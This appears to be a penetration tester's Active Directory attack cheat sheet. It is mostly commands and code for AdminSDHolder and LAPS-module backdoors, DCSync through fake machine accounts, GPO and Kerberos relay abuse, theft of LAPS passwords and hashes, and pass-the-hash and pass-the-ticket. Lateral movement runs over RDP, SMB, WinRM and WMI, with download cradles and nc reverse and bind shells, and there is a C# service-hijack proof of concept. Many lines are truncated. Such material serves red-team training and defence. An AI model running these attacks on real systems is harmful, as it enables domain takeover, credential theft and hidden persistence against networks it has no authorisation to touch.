[Link]

[Link]

Create a Backdoor

Add a new domain user or grant an existent user GenericAll permissions for the AdminSDHolder
container:

PV3 > Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -T

Check that granting AdminSDHolder permissions was successful (may take 60+ minutes for the security
ACLs to get updated for that user):

PV3 > Get-DomainUser snovvcrash | select objectsid


S-1-5-21-2284550090-1208917427-1204316795-9824

PV3 > Get-DomainObjectAcl -Identity "CN=AdminSDHolder,CN=System,DC=megacorp,DC=local" -Domain

AceType : AccessAllowed
ObjectDN : CN=AdminSDHolder,CN=System,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID :
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

Now you can add yourself (the "snovvcrash" user) to the Domain Admins group any time and do stuff
(actually adding the user to Domain Admins every time is not necessary, as the AdminCount attribute will
stay 1 anyways after adding the backdoor user to a protected group for the first time):

PV3 > Add-DomainGroupMember -Identity "Domain Admins" -Members snovvcrash


PV3 > Get-DomainObjectAcl -Identity "Domain Admins" -Domain [Link] -ResolveGUIDs | ? {

AceType : AccessAllowed
ObjectDN : CN=Domain Admins,CN=Users,DC=megacorp,DC=local
ActiveDirectoryRights : GenericAll
OpaqueLength : 0
ObjectSID : S-1-5-21-2284550090-1208917427-1204316795-512
InheritanceFlags : None
BinaryLength : 36
IsInherited : False
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-2284550090-1208917427-1204316795-9824
AccessMask : 983551
AuditFlags : None
AceFlags : None
AceQualifier : AccessAllowed

PV3 > Remove-DomainGroupMember -Identity "Domain Admins" -Members snovvcrash


PV3 > Get-DomainUser snovvcrash | select admincount

admincount
----------
1

Remove the Backdoor

[Link]
[Link]

Disable or remove the account (if a new user was created):

PS > net user snovvcrash /domain /active:no


PS > net user snovvcrash /domain /del

Remove user AdminSDHolder container via GUI (ADUC, [Link]).

Clear the AdminCount attribute (will be resetted if the user is still in the AdminSDHolder container):

PV3 > Set-DomainObject -Identity snovvcrash -Domain [Link] -Clear admincount -Verbose
Or
PS > Get-ADUser snovvcrash | Set-ADObject -Clear admincount

Fix the inheritance rules:

PS > [bool]$isProtected = $false


PS > [bool]$PreserveInheritance = $true
PS > [string]$dn = (Get-ADUser snovvcrash).DistinguishedName
PS > $user = [ADSI]"LDAP://$dn"
PS > $acl = $[Link]
PS > $[Link]
True # procced if True
PS > $[Link]($isProtected, $PreserveInheritance)
PS > $inherited = $[Link]
PS > $[Link]()
PS > $[Link]
False
SERVER_TRUST_ACCOUNT

[Link]

When DA is owned (or any other account with DS-Install-Replica permission), you can create a fake
machine account (or use an existing real machine account), set SERVER_TRUST_ACCOUNT bit for it and
perform DCSync on behalf of this account to regain domain dominance.

1. Create a fake machine account:

PM > New-MachineAccount -MachineAccount FakeMachine -Password $(ConvertTo-SecureString 'Passw0


PV3 > Get-DomainComputer FakeMachine | select name,primarygroupid,useraccountcontrol

name primarygroupid useraccountcontrol


---- -------------- ------------------
FakeMachine 515 WORKSTATION_TRUST_ACCOUNT

2. Set the SERVER_TRUST_ACCOUNT bit:

PV3 > Set-DomainObject FakeMachine -Set @{useraccountcontrol=8192}


PV3 > Get-DomainComputer FakeMachine | select name,primarygroupid,useraccountcontrol

name primarygroupid useraccountcontrol


---- -------------- ------------------
FakeMachine 516 SERVER_TRUST_ACCOUNT

3. Perform DCSync:

$ [Link] MEGACORP/'FakeMachine$:Passw0rd!'@[Link] -dc-ip [Link] -ju

4. Cleanup:

PV3 > Set-DomainObject FakeMachine -Set @{useraccountcontrol=4096}


Or
PM > Remove-MachineAccount -MachineAccount FakeMachine

KRBTGT Constrained Delegation

[Link]
Windows

# create a new service account (or abuse an existing one)


PM > New-MachineAccount -Domain [Link] -DomainController [Link]
# set UAC to be 'WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTH_FOR_DELEGATION'
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{us
# set the krbtgt SPN for delegation
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{"m
# request TGS via S4U (will act as a TGT of the impersonated user)
PS > .\[Link] s4u /domain:[Link] /user:FakeMachine$ /rc4:b2bdbe60565b677d
# cleanup: remove the SPN for delegation
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Clear ms
# cleanup: back to UAC 'WORKSTATION_TRUST_ACCOUNT'
PV3 > Set-DomainObject "CN=FakeMachine,CN=Computers,DC=megacorp,DC=local" -Set @{us

Linux

[Link]

# create a new service account (or abuse an existing one)


$ [Link] -computer-name Persist1 -computer-pass 'Passw0rd1!' -dc-ip 192.168
# set UAC to be' WORKSTATION_TRUST_ACCOUNT | TRUSTED_TO_AUTH_FOR_DELEGATION' and se
$ python3 [Link] [Link]/administrator:'Passw0rd3!' -dc-ip [Link] -t
# request TGS via S4U (will act as a TGT of the impersonated user)
$ [Link] -spn krbtgt/MEGACORP [Link]/'Persist1$:Passw0rd1!' -dc-ip 192.16
# fire DCSync
$ KRB5CCNAME=`pwd`/'DC01$.ccache' [Link] [Link] -dc-ip 192.168

GPO Abuse
Group Policy Objects

[Link]
[Link]
[Link]

Force GPO update on all domain computers:

PS > Get-ADComputer -Filter * | % {Invoke-GPUpdate -Computer $_.name -Force -RandomDelayInMinu


Hunt for GPOs

List all GPOs in the domain:

PS > .\[Link] Get-DomainGPO -Properties displayName

List GPOs applied to a specifiec domain user or computer:

PS > .\[Link] Get-DomainGPO -UserIdentity snovvcrash -Properties DisplayName


PS > .\[Link] Get-DomainGPO -ComputerIdentity WS01 -Properties DisplayName
Or
Cmd > gpresult /r /user snovvcrash [/h [Link]]
Cmd > gpresult /r /s WS01 [/h [Link]]

Search for writable GPOs for the Domain Users security group:

PV3 > Get-DomainGPO | Get-ObjectAcl | ? {$_.SecurityIdentifier -eq ((Get-DomainGroup "Domain U


PV3 > Get-DomainGPO '{<GPO_GUID>}'
Or
PS > Get-GPO -Guid <GPO_GUID>

Permissions Abuse

Recon

Show all GPOs in the domain:

PV3 > Get-NetGPO -Domain [Link] | select cn,displayname

Search for GPOs that are controlled by the MEGACORP\PolicyAdmins group:

PV3 > Get-NetGPO | % {Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq

List computers that are affected by vulnerable (modifiable) GPO:

PV3 > Get-NetOU -GUID "00ff00ff-00ff-00ff-00ff-00ff00ff00ff" | % {Get-NetComputer -ADsPath $_}

Note: if I list all OUs affected by this GPO with PowerView, there will be no domain shown (like in
BloodHound), but in Group Policy Manager we can see that it is presented.
Check if computer settings are enabled for this GPO (and enable them if not):

[Link]

PS > Get-Gpo [Link]


PS > Set-GpoStatus [Link] -Status AllSettingsEnabled

List users that can create a GPO and link it to a specific OU:

PV3 > Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=megacorp,DC=local" -ResolveGUI


PV3 > Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "GP-Link" -a

GPOImmediateTask

PowerView3.ps1 (New-GPOImmediateTask)

Create a task with a PowerShell payload:

$ echo 'sc -path "c:\\windows\\temp\\[Link]" -value "GPO Abuse PoC..."' | iconv -t UTF-16LE
cwBjACAALQBwAGEAdABoACAAIgBjADoAXAB3AGkAbgBkAG8AdwBzAFwAdABlAG0AcABcAHAAbwBjAC4AdAB4AHQAIgAgAC
PS > New-GPOImmediateTask -TaskName Pentest -GPODisplayName [Link] -CommandArguments '-

Cleanup:

PS > New-GPOImmediateTask -GPODisplayName [Link] -Remove -Force

Check when GP was last applied:

Cmd > GPRESULT /R

GPPrefRegistryValue

Check if GPMC is installed and if it's not, install it as a Windows Feature (requires elevation):

PS > Get-Module -List -Name GroupPolicy | select -expand ExportedCommands


PS > Install-WindowsFeature –Name GPMC

Create an evil GPO and link it to the target OU (will be visible in the management console):

PS > New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=megacorp,DC=local"

Locate a writable network share:


PV3 > Find DomainShare CheckShareAccess

Prepare your payload, put it to the network share and create an autorun value in the evil GPO to run the
payload on boot/logon:

PS > Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Soft

WMI Filters

[Link]

Tools

SharpGPOAbuse

[Link]

pyGPOAbuse

[Link]

Kerberos

[Link]
[Link]
[Link]
[Link]

[Link]
[Link]
[Link]
[Link]

Керберос. Использования аутентификационных протоколов Windows в тестиров…


тестиров…
Synchronize Time
Using ntpdate :

$ sudo apt install ntpdate -y


$ sudo ntpdate <DC_IP>

Using faketime :

$ sudo apt install faketime -y


$ faketime '1970-01-01 [Link]' /bin/date

Kerberos on Linux
Check KRB5CCNAME environment variable contents:

$ env | grep KRB5

Request TGT supplying password:

$ kinit
$ klist

List available SPNs:

$ ldapsearch -Y GSSAPI -H ldap://[Link] -D "Administrator@[Link]" -W -b "d


Request TGS for MSSQL service:

$ kvno MSSQLSvc/[Link]

$ klist

Re-using keytab files to load and renew a TGT:

$ kinit administrator@[Link] -k -t /tmp/[Link]


$ klist
$ kinit -R

Re-using ccache files:

$ sudo chown snovvcrash:snovvcrash /tmp/krb5cc_31337


$ kdestroy
$ export KRB5CCACHE=/tmp/krb5cc_31337
$ klist

FreeIPA

A blog series by @n0pe_sled on attacking FreeIPA:

Building a FreeIPA Lab


Attacking FreeIPA — Part I Authentication
Attacking FreeIPA — Part II Enumeration

Attacking FreeIPA — Part III: Finding A Path

Attacking FreeIPA — Part IV: CVE-2020–10747

Kerberos Relay

[Link]
[Link]

mitm6 + Kerberos DNS Relay + AD CS ESC8

[Link]
Tools

KrbRelay

[Link]

[Link]

[Link]

KrbRelayUp

[Link]
[Link]
attacks-leveraging-kerberos-relaying-krbrelayup/

RELAY

Relay authentication to LDAP(S) with automatic machine creation and configure RBCD:

PS > .\[Link] RELAY [-d|--Domain [Link]] [-dc|--DomainController [Link]

Perform RBCD with UPNs:

PS > .\[Link] RELAY -u2u -cn [Link] -cp Passw0rd!

RBCD with UPNs

SPAWN

Execute a command as NT AUTHORITY\SYSTEM via RBCD abuse:

PS > .\[Link] SPAWN [-m|--Method RBCD] [-i|--Impersonate administrator] [-s|ServiceNam

As @ShitSecure mentioned, executing the binary as a .NET Reflective Assembly from


PowerShell will fail because the PowerShell process will have already initialized the security
parameters for COM itself after having been launched, so CoInitializeSecurity will not
contain those new parameters attempted to set by KrbRelay(Up).
Key Credentials Abuse
"...if you can write to the msDS-KeyCredentialLink property of a user, you can retrieve the NT hash of that
user." (Elad Shamir, ref)

That makes GenericWrite on a user effectively equal to DCSync right on that user.

DSInternals

[Link]
[Link]

Whisker

[Link]
8ee1a53566ab
[Link]

List all the values of the the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\[Link] list /target:ws01$ /domain:[Link] /dc:[Link]

Add a new value to the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\[Link] add /target:ws01$ /domain:[Link] /dc:[Link] /path:C:\T

Remove a value from the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\[Link] remove /target:ws01$ /domain:[Link] /dc:[Link] /remove

Clear all the values of the the msDS-KeyCredentialLink attribute of a target object:

Cmd > .\[Link] clear /target:ws01$ /domain:[Link] /dc:[Link]

pywhisker
[Link]

$ python3 [Link] -d [Link] -u svc_mssql -p 'Passw0rd!' --target sqltest --action

$ python3 [Link] -d [Link] -u svc_mssql -p 'Passw0rd!' --target sqltest --action


$ python3 [Link] -d [Link] -u svc_mssql -p 'Passw0rd!' --target sqltest --action
$ python3 [Link] -d [Link] -u svc_mssql -p 'Passw0rd!' --target sqltest --action
$ python3 [Link] [Link]/sqltest -cert-pfx ~/tools/pywhisker/sqltest_cert.pfx
$ KRB5CCNAME=[Link] python3 [Link] [Link]/sqltest -key 00ff00ff00ff00ff0

LAPS
Local Administrator Password Solution

[Link]

Enabled?
Check locally:

PS > gc "c:\program files\LAPS\CSE\[Link]"


PS > Get-FileHash "c:\program files\LAPS\CSE\[Link]"
PS > Get-AuthenticodeSignature "c:\program files\LAPS\CSE\[Link]"

Check in LDAP:

PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=megacorp,DC=local"


PV3 > Get-DomainObject "CN=ms-Mcs-AdmPwdExpirationTime,CN=Schema,CN=Configuration,DC=megacorp

Get Passwords

PowerShell

ActiveDirectory

Query LDAP for AD computer objects with their passwords and its expiration date:

PS > $laps = Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime -S


PS > $laps | select -First 10
Check the name of enabled local administrators on a remote machine:

PS > Get-CimInstance -ComputerName SRV01 -ClassName Win32_Group -Filter "Name='Administrators

Change LAPS password (just zero the expiration time attribute):

PS > Get-ADComputer PC01 -Properties ms-MCS-AdmPwdExpirationTime| % {Set-ADComputer -Identity

Get-LAPSPasswords

[Link]
passwords/

[Link]

PS > $cred = New-Object [Link]('snovvcrash', $(ConvertTo-Se


PS > Get-LAPSPasswords -DomainController [Link] -Credential $cred | fl

LAPSToolkit

[Link]
[Link]

Enumerate LAPS groups and permissions:

PS > $lapsGroups = Find-LAPSDelegatedGroups


PS > $lapsRights = Find-AdmPwdExtendedRights

Get passwords:

PS > Get-LAPSComputers

CrackMapExec

[Link]
[Link]

$ cme ldap <DC_IP> -u snovvcrash -p 'Passw0rd!' -M laps

LAPSDumper
[Link]

$ python [Link] -d [Link] -u snovvcrash -p 'Passw0rd!'

$ python [Link] -d [Link] -l [Link] -u snovvcrash -p aad3b435b51404eeaad

Persistence
Increase the expiration time of a compromised computer object's ms-mcs-admpwdexpirationtime
property value:

PV3 > Get-DomainObject -Identity SRV01 -Properties ms-mcs-admpwdexpirationtime


PV3 > Set-DomainObject -Identity SRV01 -Set @{"ms-mcs-admpwdexpirationtime"="<EPOCH>"}

Backdoor
Recompile admpwd having added some evil code here:

PasswordInfo pi = [Link](dn);
var line = $"{[Link]} : {[Link]}";
[Link](@"C:\Temp\[Link]", line);
WriteObject(pi);

Replace the original [Link] assembly with a newly generated one and fix the timestamp:

beacon> cd C:\Windows\System32\WindowsPowerShell\v1.0\Modules\[Link]
beacon> upload [Link]
beacon> timestomp [Link] [Link].psd1
beacon> ls

Lateral Movement

[Link]
[Link]
[Link]

[Link]
[Link]
[Link]
them
[Link]
logon-types

Overpass-the-Hash

Mimikatz

[Link]

[Link]

Create a new process with dummy creds (Logon type 9), open the LSASS process and patch it with the
supplied NT hash. This causes the normal Kerberos authentication process to kick off as normal as if the
user had normally logged on, turning the supplied hash into a fully-fledged TGT:

Cmd > .\[Link] "privilege::debug" "token::elevate" "sekurlsa::pth /user:snovvcrash /doma

It also work for local accounts but for the reason that patching LSASS does not change the
security information or user information for this process, the new credentials in LSASS can
correctly be used only for network authentication and not for identifying the local user account
associated with the process. (paraphrased from here)

That's why for local accounts such options as net use \\localhost\c$ , WMI calls or
PsExec can be considered.

Rubeus

[Link]
[Link]

Create a sacrificial process (Logon type 9), legitimately ask Kerberos for TGT, import it and interact with the
process (need elevated context):

Cmd > .\[Link] asktgt /domain:[Link] /dc:dc1 /user:snovvcrash /password:Passw0rd!


Cmd > .\[Link] asktgt /domain:[Link] /dc:dc1 /user:snovvcrash /rc4:fc525c9683e8fe0

If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.
Create a new process with dummy creds (Logon type 9) manually, then use Rubeus with user's NT hash to
ask for a TGT and import it:

Cmd > runas /netonly /user:[Link]\snovvcrash cmd


Enter the password for [Link]\snovvcrash: dummy_Passw0rd!
Cmd > .\[Link] asktgt /domain:[Link] /dc:dc1 /user:snovvcrash /rc4:fc525c9683e8fe0

A more opsec safe approach is to use AES key (KeyType 0x12) instead of RC4-HMAC (KeyType 0x17)
alongside with /opsec switch which instructs Rubeus not to do pre-auth (mimics standard Kerberos
behavior):

Cmd > .\[Link] asktgt /domain:[Link] /dc:dc1 /user:snovvcrash /aes256:94b4d075fd15

Pass-the-Hash

[Link]

NamedPipePTH

[Link]
[Link]
[Link]

Impersonate a user with Pass-the-Hash for local actions (network authentication does not work with
Impersonation Token , only with Delegation Token ):

PS > Invoke-ImpersonateUser-PTH -Username snovvcrash -Hash fc525c9683e8fe067095ba2ddc971889 -T


PS > Invoke-SharpNamedPipePTH -C "domain:[Link] username:snovvcrash hash:fc525c9683e8f

Can be used for authenticating in SQL Server management tools ( %PROGRAMFILES(X86)%\Microsoft


SQL Server Management Studio 18\Common7\IDE\[Link] ) and accessing DBs with SQL
admin hash, for example.

PtH Notes

[Link]

User Account Control


[Link]

LocalAccountTokenFilterPolicy & FilterAdministratorToken

Property Name Property Path

HKLM\SOFTWARE\Microsoft\Windows\Cur
LocalAccountTokenFilterPolicy
rentVersion\Policies\System\

HKLM\SOFTWARE\Microsoft\Windows\Cur
FilterAdministratorToken
rentVersion\Policies\System\

If LocalAccountTokenFilterPolicy exists and is set to 1 (doesn't exist by default), remote


connections from all local admins are not affected by UAC and PtH will succeed:

PS > Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\" -Name

If FilterAdministratorToken exists and is set to 1 (doesn't exist by default), builtin local admin
account (RID 500) is affected by UAC and PtH will fail:

PS > Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ -Name F

Pass-the-Ticket

Rubeus
Show Kerberos tickets in all logon sessions if elevated (otherwise it will only show tickets in current logon
session):

PS > .\[Link] triage

Extract the tickets from memory:

PS > .\[Link] dump [/service:krbtgt] [/luid:0x1337] /nowrap

Create a sacrificial process (Logon type 9) and import the TGT into its logon session:

PS > .\[Link] createnetonly /program:C:\Windows\System32\[Link] /show


PS > .\[Link] ptt /luid:0x1337 /ticket:<BASE64_TICKET>
If operating Rubeus from a C2 agent, you can steal_token instead of using /show option.

You can also extract and reuse TGS tickets with this technique.

RDP

[Link]

[Link]

Enable RDP
From meterpreter:

meterpreter > run getgui -e

From PowerShell:

PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server" -Name "fD


PS > Enable-NetFirewallRule -DisplayGroup "Remote Desktop"
PS > Set-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStation

Restricted Admin

[Link]
[Link]
[Link]
[Link]

RDP with PtH: RDP needs a plaintext password unless Restricted Admin mode is enabled.

Enable with PowerShell:

PS > Get-ChildItem -Recurse HKLM:\System\CurrentControlSet\Control\Lsa

PS > Get-Item HKLM:\System\CurrentControlSet\Control\Lsa


PS > New-ItemProperty -Path HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestricte
PS > Get-ItemProperty HKLM:\System\CurrentControlSet\Control\Lsa -Name "DisableRestrictedAdmin

Enable with CME:

$ cme smb [Link] -u Administrator -H fc525c9683e8fe067095ba2ddc971889 -x 'reg add HKLM\S

Use:

$ xfreerdp /pth
Cmd > [Link] /restrictedAdmin

Smart Card Authentication


Disable enforced smart card authentication during interactive logon:

PS > Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System"


PS > Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\policies\System"

NLA
Disable NLA:

PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Co


PS > (Get-WmiObject -class "Win32_TSGeneralSetting" -Namespace root\cimv2\terminalservices -Co

Hijack RDP Sessions

[Link]
[Link]
inremoted-in-to-a-computer/

Run Task manager as LocalSystem to hijack other users' sessions:

PS > .\[Link] -si C:\Windows\System32\[Link] -accepteula

The same can be achieved with [Link] :


PS
PS >
> .\[Link]
-s \\localhost cmd
[Link]
PS > cmd /k [Link] <ID> /dest:<CURRENT_SESSIONNAME>

Tools

[Link]

[Link]

Tools

SharpRDP

[Link]
[Link]

Cmd > .\[Link] computername=srv01 command="iex(new-object [Link]).downloadstring

SharpRDPHijack

[Link]

RPC

[Link]

SCM

[Link]
[Link]
[Link]
Snippets/blob/main/Fileless%20Lateral%20Movement/[Link]

Using Python implementation and PtH:

$ python [Link] MEGACORP/snovvcrash@[Link] -hashes :fc525c9683e8fe067095ba2ddc971889


SCShell>C:\windows\system32\[Link] /c [Link] -nop -w hidden -c iex(new-object [Link]

Custom PoC:

[Link]
using System;
using [Link];

namespace SharpSCExec
{
class Program
{
[DllImport("[Link]", SetLastError = true, BestFitMapping = false, ThrowOnUnmappa
[return: MarshalAs([Link])]
internal static extern bool LogonUser([MarshalAs([Link])] string lpszUser

[DllImport("[Link]", SetLastError = true)]


static extern bool ImpersonateLoggedOnUser(IntPtr hToken);

[DllImport("[Link]", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSe


public static extern IntPtr OpenSCManager(string machineName, string databaseName, uin

[DllImport("[Link]", SetLastError = true, CharSet = [Link])]


static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesir

[DllImport("[Link]", CharSet = [Link], SetLastError = true)]


public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryCon

[DllImport("[Link]", EntryPoint = "ChangeServiceConfig")]


[return: MarshalAs([Link])]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, in

[DllImport("advapi32", SetLastError = true)]


[return: MarshalAs([Link])]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]

[DllImport("[Link]")]
public static extern uint GetLastError();

[StructLayout([Link])]
public class QueryServiceConfigStruct
{
[MarshalAs([Link].U4)]
public UInt32 dwServiceType;
[MarshalAs([Link].U4)]
public UInt32 dwStartType;
[MarshalAs([Link].U4)]
public UInt32 dwErrorControl;
[MarshalAs([Link])]
public String lpBinaryPathName;
[MarshalAs([Link])]
public String lpLoadOrderGroup;
[MarshalAs([Link].U4)]
public UInt32 dwTagID;
[MarshalAs([Link])]
public String lpDependencies;
[MarshalAs([Link])]
public String lpServiceStartName;
[MarshalAs([Link])]
public String lpDisplayName;
};

static void Main(string[] args)


{
string target = args[0];
string svcName = args[1]; // Potential candidates are: XblAuthManager, SensorServi
string payload = args[2];

if ([Link] < 3)
{
[Link]("Usage: [Link] <TARGET> <SERVICE> <PAYLOAD>");
[Link]("Example: [Link] SRV01 SensorService \"[Link] /c p
return;
}

if ([Link] > 3)
{
string domain = args[3];
string username = args[4];
string password = args[5];
IntPtr hToken = [Link];
if (!LogonUser(username, domain, password, 0x9, 0, out hToken))
{
[Link]($"[-] LogonUser failed: {GetLastError()}");
[Link](0);
}
if (!ImpersonateLoggedOnUser(hToken))
{
[Link]($"[-] ImpersonateLoggedOnUser failed: {GetLastError()}")
[Link](0);
}
}

IntPtr SCMHandle = OpenSCManager(


target,
null,
0xF003F); // SC_MANAGER_ALL_ACCESS

IntPtr hService = OpenService(


SCMHandle,
svcName,
0xF01FF); // SERVICE_ALL_ACCESS

UInt32 bytesNeeded;
bool res = QueryServiceConfig(hService, [Link], 0, out bytesNeeded);
IntPtr ptr = [Link]((int)bytesNeeded);
res = QueryServiceConfig(hService, ptr, bytesNeeded, out bytesNeeded);
QueryServiceConfigStruct qsc = new QueryServiceConfigStruct();
[Link](ptr, qsc);
string origBinaryPath = [Link];
[Link]($"[*] Extracted original service binary: \"{origBinaryPath}\"")

res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
payload,
null,
null,
null,
null,
null,
null);

if (res)
{
[Link]("[+] Service binary changed successfully!");
}
else
{
[Link]($"[-] Failed changing service binary: {GetLastError()}");
}

res = StartService(hService, 0, null);


[Link]($"[*] StartService terminated with return code {res} and error {

res = ChangeServiceConfigA(
hService,
0xffffffff, // SERVICE_NO_CHANGE
0x3, // SERVICE_DEMAND_START
0, // SERVICE_NO_CHANGE
origBinaryPath,
null,
null,
null,
null,
null,
null);

if (res)
{
[Link]("[+] Original service binary restored successfully!");
}

else
{
[Link]($"[-] Failed restoring original service binary: {GetLastErro
}
}
}
}

RunAs

Cmd

[Link]

Cmd > runas /u:snovvcrash [Link]

PowerShell

PS > $cred = New-Object [Link]('<HOSTNAME>\<USERNAME>', $(C

[Link]

PS > $computer = "PC01"


PS > [[Link]]::Start("C:\Windows\System32\[Link]", "/c ping -n 1 10.10.13

Start-Process

PS > Start-Process -FilePath "C:\Windows\System32\[Link]" -ArgumentList "/c ping -n 1 10.10.1

Invoke-Command

With -Credential :

PS > Invoke-Command -ComputerName <HOSTNAME> -ScriptBlock { whoami } -Credential $cred

With -Session :

PS > $s = New-PSSession -ComputerName <HOSTNAME> -Credential $cred


PS > Invoke-Command -ScriptBlock { whoami } -Session $s
Invoke-RunAs

[Link]
RunAs.ps1

PS > Invoke-RunAs -UserName snovvcrash -Password 'Passw0rd!' -Domain MEGACORP -Cmd [Link] -Ar

Invoke-CommandAs

[Link]
ScheduledTask.ps1

[Link]
CommandAs.ps1
[Link]

PS > . .\Invoke-ScheduledTask.ps1
PS > . .\Invoke-CommandAs.ps1
PS > Invoke-CommandAs -ScriptBlock {whoami} -AsUser $cred

RunasCs

[Link]

$ rlwrap nc -lvnp 1337


PS > Invoke-RunasCs -Username snovvcrash -Password 'Passw0rd!' -Domain [Link] -Command

SMB

PsExec

[Link]
[Link]

[Link]

$ [Link] snovvcrash:'Passw0rd!'@[Link]
$ rlwrap -cAr [Link] -hashes :fc525c9683e8fe067095ba2ddc971889 [Link]/snovvcrash@19
SPN-jacking

WinRM / PSRemoting
Windows Remote Management

[Link]

[Link]
[Link]
interactive-logons

[Link]

Enable WinRM
Using PowerShell (takes ~1m to be applied):

PS > Enable-PSRemoting -Force


PS > Set-Item wsman:\localhost\client\trustedhosts *

Remotely with CME:

$ cme smb [Link] -u snovvcrash -p 'Passw0rd!' -x 'powershell -enc RQBuAGEAYgBsAGUALQBQAFM

From Windows

[Link]

PS > winrm get winrm/config


PS > winrm set winrm/config/client '@{TrustedHosts="*"}'
PS > $sess = New-PSSession -ComputerName [Link] -Credential $cred
PS > Enter-PSSession -Session $sess
PS > Copy-Item .\[Link] -Destination "C:\users\administrator\music\" -ToSession $sess
From Linux

Evil-WinRM

[Link]

Basic syntax:

$ evil-winrm -u '[MEGACORP\]snovvcrash' -p 'Passw0rd!' -i [Link] -s `pwd` -e `pwd`


$ evil-winrm -u '[MEGACORP\]snovvcrash' -H fc525c9683e8fe067095ba2ddc971889 -i [Link] -s

Always use full username when authenticating as a domain user, because if there're 2 users
sharing the same name (a local user and a domain user), say WORKGROUP\Administrator
and MEGACORP\Administrator , and you're trying to authenticate as a domain admin without
providing the domain prefix, authentication will fail.

Execute a .NET binary:

*Evil-WinRM* PS > Invoke-Binary [Link] "asktgt, /domain:[Link], /user:snovvcrash,

Spawn interactive bind shell with powercat.ps1 and Invoke-PSInject.ps1:

$ sed -i s/powercat/pwcat/g pwcat.ps1


$ echo 'powercat -l -p 1337 -e [Link]' >> pwcat.ps1
$ echo 'IEX(New-Object [Link]).DownloadString(''[Link] | icon
*Evil-WinRM* PS > Get-Process
*Evil-WinRM* PS > Invoke-PSInject.ps1
*Evil-WinRM* PS > Invoke-PSInject -ProcId <PID> -PoshCode <BASE64_CMD>
$ rlwrap nc [Link] 1337

pwsh

$ pwsh
PS > $sess = New-PSSession -ComputerName [Link] -Credential $cred -Authentication Negoti
PS > Enter-PSSession -Session $sess

WMI

[Link]
[Link]
PowerShell
Basic command to check if we have privileges to execute WMI:

PS > Get-WmiObject -Credential $cred -ComputerName PC01 -Namespace "root" -class "__Namespace"

Execute commands:

PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen
PS > Invoke-WmiMethod -Credential $cred -ComputerName PC01 win32_process -Name Create -Argumen

WMI Enumeration

[Link]
[Link]

[Link]
[Link]

Invoke-LocalWMIEnum.ps1
Get-WmiObject -Class Win32_ComputerSystem | select BootupState,UserName,TotalPhysicalMemory,Sy
Get-WmiObject -Class Win32_OperatingSystem | fl *
Get-WmiObject -Namespace root\SecurityCenter2 -Class AntiVirusProduct | select PSComputerName
Get-WmiObject Win32_Service | select Name,State,StartName,PathName | ? {$_.State -like "Runnin
Get-WmiObject -Class Win32_LoggedOnUser | select Antecedent,Dependent,PSComputerName | ft -Aut
Get-WmiObject -Class Win32_LogonSession | select AuthenticationPackage,LogonID,StartTime,Scope
Get-WmiObject -Class Win32_QuickFixEngineering | select PSComputerName,Description,HotFixID,In
Get-WmiObject -Class Win32_Share | select Type,Name,AllowMaximum,Description,Scope | ft -AutoS
Get-WmiObject -Class Win32_IP4RouteTable | select PSComputerName,Caption,Mask,Metric1,Protocol
Get-WmiObject -Class Win32_UserAccount | ft -AutoSize
Get-WmiObject -Class Win32_Group | ft -AutoSize

[Link]

$ [Link] -codec cp866 snovvcrash:'Passw0rd!'@[Link]


$ [Link] -hashes :fc525c9683e8fe067095ba2ddc971889 snovvcrash@[Link]

Get a PowerShell reverse-shell:


$
$ sudo
sudo python3 -m-lvnp
rlwrap nc [Link]
443 80

$ [Link] -silentcommand -nooutput snovvcrash:'Passw0rd!'@[Link] 'powershell iEx (iWr

When loading the cradle from a semi-interactive shell, you can combine with Invoke-WmiMethod to
spawn a new PowerShell process:

[Link] -silentcommand -nooutput snovvcrash:'Passw0rd!'@[Link] "powershell -enc $(ech

SharpWMI

[Link]

PS > .\[Link] action=exec [username=MEGACORP\snovvcrash] [passw0rd=Passw0rd!] computerna

LDAP
Lightweight Directory Access Protocol

[Link]
[Link]
